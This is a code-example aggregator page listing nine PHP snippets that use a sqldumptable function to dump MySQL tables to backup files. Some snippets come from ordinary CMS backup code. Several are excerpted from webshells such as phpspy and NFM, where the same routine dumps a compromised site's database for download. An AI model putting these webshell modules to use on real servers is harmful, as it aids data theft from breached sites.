当前位置: 首页>>代码示例>>PHP>>正文


PHP sqldumptable函数代码示例

本文整理汇总了PHP中sqldumptable函数的典型用法代码示例。如果您正苦于以下问题:PHP sqldumptable函数的具体用法?PHP sqldumptable怎么用?PHP sqldumptable使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了sqldumptable函数的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: m

 if ($doing == 'backupmysql' && $saveasfile) {
     if (!$table) {
         m('Please choose the table');
     } else {
         mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
         $table = array_flip($table);
         $fp = @fopen($path, 'w');
         if ($fp) {
             $result = q('SHOW tables');
             if (!$result) {
                 p('<h2>' . mysql_error() . '</h2>');
             }
             $mysqldata = '';
             while ($currow = mysql_fetch_array($result)) {
                 if (isset($table[$currow[0]])) {
                     sqldumptable($currow[0], $fp);
                 }
             }
             fclose($fp);
             $fileurl = str_replace(SA_ROOT, '', $path);
             m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
             mysql_close();
         } else {
             m('Backup failed');
         }
     }
 }
 if ($insert && $insertsql) {
     $keystr = $valstr = $tmp = '';
     foreach ($insertsql as $key => $val) {
         if ($val) {
开发者ID:mcanv,项目名称:webshell,代码行数:31,代码来源:2009mssql.php

示例2: date

     }
 }
 if ($do == "backup") {
     $filename = date('ymd') . '_' . pb_radom(6);
     $db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
     $time = gmdate("M d Y H:i:s", mktime(date("H"), date("i"), date("s"), date("m"), date("d"), date("Y")));
     $tables = arraykeys2(fetchtablelist($tb_prefix), 'Name');
     if (mysql_get_server_info() > '4.1') {
         $db->query("set names '" . $dbcharset . "'");
     }
     $backupfilename = DATA_PATH . "backup_" . $backupdir . DS . str_replace(array('/', '\\', '.'), '', $filename);
     $sqldump = '';
     $tableid = 0;
     $startfrom = 0;
     for (; $tableid < count($tables); $tableid++) {
         $sqldump .= sqldumptable($tables[$tableid], $startfrom, strlen($sqldump));
         $startfrom = 0;
     }
     $dumpfile = $backupfilename . '.sql';
     $tableid--;
     if (trim($sqldump)) {
         $fp = file_put_contents($dumpfile, $sqldump);
         unset($sqldump);
         $result = $pdb->Execute("UPDATE {$tb_prefix}settings SET valued=" . $time_stamp . " WHERE variable='last_backup'");
         $data['handle_type'] = 'info';
         $data['source_module'] = 'backup';
         $data['description'] = $_POST['message'];
         $result = $log->Add($data);
         if ($result) {
             flash("success", 'db.php?do=restore');
         } else {
开发者ID:renduples,项目名称:alibtob,代码行数:31,代码来源:db.php

示例3: tabledata

                $str2 .= "<B><div id='postingTag'></div></B>";
                echo tabledata("{$str1}|{$str2}");
                echo tableend();
                ffooter();
                eval(auto_submit_script());
                exit;
            }
        }
        // 开始导出一页
        $writefile_data = "<?\r\nif(!defined('VERSION')){echo \"<meta http-equiv=refresh content='0;URL={$_POST[filename]}.php'>\";exit;}\r\n";
        $tablearr = array();
        for (@reset($_POST[fsqltable]); count($_POST[fsqltable]) && @(list($key, $val) = @each($_POST[fsqltable]));) {
            $tablearr[] = $key;
        }
        for ($i = $_POST[tabledumping]; $i < count($tablearr); $i++) {
            sqldumptable($tablearr[$i], $i, 1);
            //导出表
        }
        //结束最后文件
        $data = "echo '<center><BR><BR><BR><BR>完成。所有数据都已经导入数据库中。</center>'; exit; ?" . ">";
        $writefile_data .= "{$data}";
        writefile($writefile_data, "w");
        $backpassword = $_POST[back_pass] ? $_POST[back_pass] : "zbc5.com";
        //引导文件内容
        $data = '<?
include "./../../../include/session.php";
include "./../../../include/dblink.php";
$usedumppass=1;  //导入数据时是否使用导入密码。如果您忘记了导入密码,请把值改为 0 。HTTP方式下载数据文件不能取消导入密码。

define("VERSION","' . VERSION . '");
error_reporting(1);
开发者ID:kwdwkiss,项目名称:trial,代码行数:31,代码来源:zhuanbaoke_bf.php

示例4: elseif

 } elseif (!is_dir(BACKUP_DIR . './' . $get['sqlpath'])) {
     if (!mkdir(BACKUP_DIR . './' . $get['sqlpath'], 0777)) {
         api_msg('mkdir_error', 'make dir error:' . BACKUP_DIR . './' . $get['sqlpath']);
     }
 }
 if (!isset($get['backupfilename']) || empty($get['backupfilename'])) {
     //note 若沒有指定備份文件名,則設定保存數據的文件名
     $get['backupfilename'] = date('ymd', $timestamp) . '_' . random(6);
 }
 $sqldump = '';
 $get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0;
 $get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0;
 //note count() 有待於優化
 $complete = true;
 for (; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) {
     $sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump));
     if ($complete) {
         $get['startfrom'] = 0;
     }
 }
 !$complete && $get['tableid']--;
 $dumpfile = BACKUP_DIR . $get['sqlpath'] . '/' . $get['backupfilename'] . '-' . $get['volume'] . '.sql';
 if (trim($sqldump)) {
     $sqldump = "{$idstring}" . "# <?exit();?>\n" . "# {$apptype} Multi-Volume Data Dump Vol.{$get['volume']}\n" . "# Time: {$time}\n" . "# Type: {$apptype}\n" . "# Table Prefix: {$tablepre}\n" . "# {$dbcharset}\n" . "# {$apptype} Home: http://www.comsenz.com\n" . "# Please visit our website for newest infomation about {$apptype}\n" . "# --------------------------------------------------------\n\n\n" . $sqldump;
     @($fp = fopen($dumpfile, 'wb'));
     @flock($fp, 2);
     if (@(!fwrite($fp, $sqldump))) {
         @fclose($fp);
         api_msg('database_export_file_invalid', $dumpfile);
     } else {
         fclose($fp);
开发者ID:pan289091315,项目名称:Discuz,代码行数:31,代码来源:dbbak.php

示例5: m

 if (isset($dbname)) {
     $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"{$dbname}\" />\n";
 }
 if (isset($charset)) {
     $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"{$charset}\" />\n";
 }
 if ($doing == 'backupmysql' && $saveasfile) {
     if (!$table) {
         m('Please choose the table');
     } else {
         $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
         $fp = @fopen($path, 'w');
         if ($fp) {
             foreach ($table as $k => $v) {
                 if ($v) {
                     sqldumptable($v, $fp);
                 }
             }
             fclose($fp);
             $fileurl = str_replace(SA_ROOT, '', $path);
             m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
             mysql_close();
         } else {
             m('Backup failed');
         }
     }
 }
 if ($insert && $insertsql) {
     $keystr = $valstr = $tmp = '';
     foreach ($insertsql as $key => $val) {
         if ($val) {
开发者ID:evil7,项目名称:webshell,代码行数:31,代码来源:z7.php

示例6: mysql_close

    mysql_close();
} elseif ($_POST['do'] == 'backupmysql') {
    if (empty($_POST['table']) or empty($_POST['backuptype'])) {
        echo "请选择欲备份的数据表和备份方式!";
    } else {
        if ($_POST['backuptype'] == 'server') {
            @mysql_connect($servername, $dbusername, $dbpassword) or die("数据库连接失败");
            @mysql_select_db($dbname) or die("选择数据库失败");
            $table = array_flip($_POST['table']);
            $filehandle = @fopen($path, "w");
            if ($filehandle) {
                $result = mysql_query("SHOW tables");
                echo $result ? NULL : "出错: " . mysql_error();
                while ($currow = mysql_fetch_array($result)) {
                    if (isset($table[$currow[0]])) {
                        sqldumptable($currow[0], $filehandle);
                        fwrite($filehandle, "\n\n\n");
                    }
                }
                fclose($filehandle);
                echo "数据库已成功备份到 <a href=\"" . $path . "\" target=\"_blank\">" . $path . "</a>";
                mysql_close();
            } else {
                echo "备份失败,请确认目标文件夹是否具有可写权限!";
            }
        }
    }
} elseif ($downrar) {
    if (!empty($dl)) {
        $dfiles = "";
        foreach ($dl as $filepath => $value) {
开发者ID:mcanv,项目名称:webshell,代码行数:31,代码来源:phpspy_2006.php

示例7: base64_encode

     $idstring = '# Identify: ' . base64_encode("{$timestamp},{$SABLOG_VERSION},{$volume}") . "\n";
     //清除表内临时的数据
     $DB->unbuffered_query("TRUNCATE TABLE {$db_prefix}searchindex");
     $sqlcompat = in_array($sqlcompat, array('MYSQL40', 'MYSQL41')) ? $sqlcompat : '';
     $setnames = intval($addsetnames) || $DB->version() > '4.1' && (!$sqlcompat || $sqlcompat == 'MYSQL41') ? "SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary;\n\n" : '';
     if ($DB->version() > '4.1') {
         $DB->query("SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary;");
         if ($sqlcompat == 'MYSQL40') {
             $DB->query("SET SQL_MODE='MYSQL40'");
         }
     }
     $sqldump = '';
     $tableid = $tableid ? $tableid - 1 : 0;
     $startfrom = (int) $startfrom;
     for ($i = $tableid; $i < count($tables) && getstrlen($sqldump) < $sizelimit * 1000; $i++) {
         $sqldump .= sqldumptable($tables[$i], $startfrom, getstrlen($sqldump));
         $startfrom = 0;
     }
     $tableid = $i;
     if (trim($sqldump)) {
         $sqldump = "{$idstring}" . "# <?exit();?>\n" . "# Sablog-X bakfile Multi-Volume Data Dump Vol.{$volume}\n" . "# Version: {$SABLOG_VERSION}\n" . "# Time: " . sadate('Y-m-d H:i') . "\n" . "# Sablog-X: http://www.sablog.net\n" . "# --------------------------------------------------------\n\n\n" . $setnames . $sqldump;
         if (!writefile($sqlfilename, $sqldump)) {
             $location = getlink('tools', 'backup', array('message' => 8));
         } else {
             redirect('分卷备份:数据文件 ' . $volume . ' 成功创建,程序将自动继续.', "cp.php?job=tools&action=dobackup&filename=" . rawurlencode($filename) . "&sizelimit=" . rawurlencode($sizelimit) . "&volume=" . rawurlencode($volume) . "&tableid=" . rawurlencode($tableid) . "&startfrom=" . rawurlencode($startrow) . "&sqlcompat=" . rawurlencode($sqlcompat));
         }
     } else {
         $location = getlink('tools', 'filelist', array('message' => 9));
     }
 }
 header("Location: {$location}");
开发者ID:BGCX261,项目名称:zjnewcitycode-svn-to-git,代码行数:31,代码来源:tools.php

示例8: sql


//.........这里部分代码省略.........
        $fich = $dbbase . $fc . $fext;
        $dte = "";
        if ($ecraz != 1) {
            $dte = date("dMy_Hi") . "_";
        }
        $gz = "";
        if ($file_type == '1') {
            $gz .= ".gz";
        }
        $fcut = false;
        $ftbl = false;
        $f_nm = array();
        if ($f_cut == 1) {
            $fcut = true;
            $max_sql = $max_sql;
            $nbf = 1;
            $f_size = 170;
        }
        if ($f_tbl == 1) {
            $ftbl = true;
        } else {
            if (!$fcut) {
                open_file("dump_" . $dte . $dbbase . $fc . $fext . $gz);
            } else {
                open_file("dump_" . $dte . $dbbase . $fc . "_1" . $fext . $gz);
            }
        }
        $nbf = 1;
        mysql_connect($dbhost, $dbuser, $dbpass);
        mysql_select_db($dbbase);
        if ($fext == ".sql") {
            if ($ftbl) {
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut) {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        $nbf = 0;
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
                            if (file_pos() + 6 + strlen($val) < $max_sql) {
                                write_file($val . ";");
                            } else {
                                close_file();
                                $nbf++;
                                open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".sql" . $gz);
                                write_file($val . ";");
                            }
                        }
                        close_file();
                    } else {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        write_file($temp . "\n\n");
                        close_file();
                        $nbf = 1;
                    }
                    $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>";
                }
            } else {
                $tblsv = "";
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut && file_pos() + $sz_t > $max_sql) {
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
开发者ID:Theov,项目名称:webshells,代码行数:67,代码来源:NFM+1.8.php

示例9: sql


//.........这里部分代码省略.........
        $fich = $dbbase . $fc . $fext;
        $dte = "";
        if ($ecraz != 1) {
            $dte = date("dMy_Hi") . "_";
        }
        $gz = "";
        if ($file_type == '1') {
            $gz .= ".gz";
        }
        $fcut = false;
        $ftbl = false;
        $f_nm = array();
        if ($f_cut == 1) {
            $fcut = true;
            $fz_max = $fz_max;
            $nbf = 1;
            $f_size = 170;
        }
        if ($f_tbl == 1) {
            $ftbl = true;
        } else {
            if (!$fcut) {
                open_file("dump_" . $dte . $dbbase . $fc . $fext . $gz);
            } else {
                open_file("dump_" . $dte . $dbbase . $fc . "_1" . $fext . $gz);
            }
        }
        $nbf = 1;
        mysql_connect($dbhost, $dbuser, $dbpass);
        mysql_select_db($dbbase);
        if ($fext == ".sql") {
            if ($ftbl) {
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut) {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        $nbf = 0;
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
                            if (file_pos() + 6 + strlen($val) < $fz_max) {
                                write_file($val . ";");
                            } else {
                                close_file();
                                $nbf++;
                                open_file("dump_" . $dte . $tbl[$i] . $fc . "_" . $nbf . ".sql" . $gz);
                                write_file($val . ";");
                            }
                        }
                        close_file();
                    } else {
                        open_file("dump_" . $dte . $tbl[$i] . $fc . ".sql" . $gz);
                        write_file($temp . "\n\n");
                        close_file();
                        $nbf = 1;
                    }
                    $tblsv = $tblsv . "<b>" . $tbl[$i] . "</b>,<br>";
                }
            } else {
                $tblsv = "";
                while (list($i) = each($tbl)) {
                    $temp = sqldumptable($tbl[$i]);
                    $sz_t = strlen($temp);
                    if ($fcut && file_pos() + $sz_t > $fz_max) {
                        $p_sql = split_sql_file($temp);
                        while (list($j, $val) = each($p_sql)) {
开发者ID:ASDAFF,项目名称:Shells-Database,代码行数:67,代码来源:NetworkFileManagerPHP.php


注:本文中的sqldumptable函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。